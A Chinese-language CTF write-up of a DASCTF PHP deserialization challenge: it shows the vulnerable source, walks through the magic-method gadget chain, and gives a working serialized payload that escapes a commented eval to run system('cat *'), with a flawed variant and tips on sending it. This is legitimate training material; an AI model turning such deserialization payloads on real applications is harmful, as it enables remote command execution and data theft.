今天复盘了一道php反序列化构造链的题目

昨天试手了一下dasctf春季赛,接触了这道php反序列化构造链的题目

其实之前也接触过一次,但一直没来得及总结……

题目的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

首先我们要知道一点,这是利用反序列化进行攻击,我们最终的目标就是执行get_flag函数当中的eval函数,eval函数可以让我们命令执行,以此读取文件,但是我们需要顺着反序列化链的顺序,然后顺着链的执行顺序,最后来到eval函数

那么我们应该先把反序列化类和对象的调用顺序找出来,在此之前,我们得明白这些带有__(双下划线)的魔术方法的用处以及什么时候会调用它,注意:因为序列化和反序列化只会对类中的属性(对象)生效,所以我们重点要操控的是类的属性并利用魔术方法进行攻击(或是调用你想要调用的函数)

魔术方法的说明可参考上述参考博客https://pankas.top/2022/03/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AE%80%E5%8D%95%E6%80%BB%E7%BB%93/

  • __destruct在一个对象销毁的时候调用,在php完成反序列化你的序列化的数据之后就会销毁你传入的对象,那么这个魔术方法就是第一个被调用的

  • __destruct当中,$this->f1与'114514'你是一个一个一个魔术方法啊啊啊)的字符串拼接在了一起

  • __toString的魔术方法会在一个对象被当作字符串处理的时候触发

  • __toString当中调用了run()函数,但是这里有2个run函数(后面发现是哪个都没关系)

  • 接下来__invoke魔术方法就被调用了(当一个对象被当作函数调用的时候就会触发该魔术方法)

  • __invoke当中调用了world()函数,但是world函数是不存在的方法

  • 这会触发__call魔术方法(当调用一个不存在的函数方法的时候该魔术方法会被触发)

  • __call魔术方法有两个参数,一个是方法名,另一个是传进方法的各个参数

  • 但是这2个参数在这道题里面没有什么作用,接下来会调用get_flag函数

  • 正好get_flag当中有我们需要用到的eval函数,但是问题来了,一开始我并不明白这最上面的eval函数是干什么的,后来才发现这是用来迷惑人的……

1
2
3
4
public function get_flag()
{
eval('#' . $this->m1);
}

这个eval当中的参数加上了#(注释符),因此你执行的命令会被注释掉,起不到效果

但是其实是可以加上一个\n换行符的,因为#只会对一行的字符串生效(注意eval当中的命令还要加一个’;’,不然会报错)

那么反序列化链的顺序就很清楚了

1
fin::__destruct=>what::__toString=>crow::__invoke=>fin::__call =>mix::get_flag

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class crow
{
public $v1;
public $v2;
}

class fin
{
public $f1;
}

class what
{
public $a;
}
class mix
{
public $m1;
}

$fin = new fin();
$what = new what();
$mix = new mix();
$crow = new crow();
$fin1 = new fin();
$mix1 = new mix();
$fin->f1 = $what;
$what->a = $mix;
$mix ->m1 = $crow;
$crow->v1 = $fin1;
$fin1->f1 = $mix1;
$mix1->m1 = "\nsystem('cat *');";
echo urlencode(serialize($fin));

//O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

如何构造这样的链:首先得明白是一个类当中的哪一个对象会触发下一个函数方法或是魔术方法,然后需要用触发的类来给这个对象赋值(比如fin类当中的f1对象触发了what类当中的__toString的魔术方法,由于之前说的——反序列化和序列化不会对函数方法生效,所以我们只要操控类和类当中的变量就可以了,用what类给fin类中的f1赋值,这样一来序列化的链就构造完成了)大概就是根据方法的调用顺序,自己构造一个和方法调用顺序相同的逻辑链,顺着这个逻辑走下去就可以调用你想要调用的函数了(还有,序列化和反序列化的顺序都是从外到里的)

这里有一个错误示范

1
2
3
4
5
6
7
8
9
10
11
12
13
$fin = new fin();
$what = new what();
$mix = new mix();
$crow = new crow();
$fin->f1 = $what;
$what->a = $mix;
$mix ->m1 = $crow;
$crow ->v1 = $fin;
$fin->f1 = $mix;
$mix->m1 = "\nsystem('cat *');";
echo urlencode(serialize($fin));

//O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7D

这样看上去并没有什么问题(只是使用了同一个变量代表的类重复赋值),但是urlencode的时候就会发现数据有明显削减的地方,这是怎么回事呢?

我根据”赋值即为构造链”的特性研究了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
你以为的效果:fin::f1 => what::a => mix::m1 => crow::v1 => fin::f1 => mix::m1
实际上的效果(对$fin->f1的再一次赋值会覆盖第一次的赋值,即为破坏了原来的链):fin::f1 => mix::m1


var_dump导出的正确结果

object(fin)#7 (1) {
["f1"]=>
object(what)#8 (1) {
["a"]=>
object(mix)#9 (1) {
["m1"]=>
object(crow)#10 (2) {
["v1"]=>
object(fin)#11 (1) {
["f1"]=>
object(mix)#12 (1) {
["m1"]=>
string(17) "
system('cat *');"
}
}
["v2"]=>
NULL
}
}
}
}

var_dump导出的错误结果

object(fin)#5 (1) {
["f1"]=>
object(mix)#6 (1) {
["m1"]=>
string(17) "
system('cat *');"
}
}

建议在多次调用的时候避免重复赋值,以免对反序列化链造成破坏,例如用new fin()定义两个不同的对象$fin$fin1

那个时候我和队友用payload使用hackbar传数据,但是没有什么响应

image.png

但是将enctype改成application/x-www-form-urlencoded(raw)的时候成功了(flag在html元素的注释里)

image.png

注意在这个过程中不要使用hackbar的decode工具然后再encode回去,它会对你数据当中的某些特殊字符(例如\n)做特殊的处理,导致payload不生效

用bp的话也可以

在content-length为373的请求中(x-www-form-urlencoded(raw))得到了flag

image.png

而在content-length为372的请求中(x-www-form-urlencoded)没有得到flag

image.png

查了一下它们两者之间的区别

image.png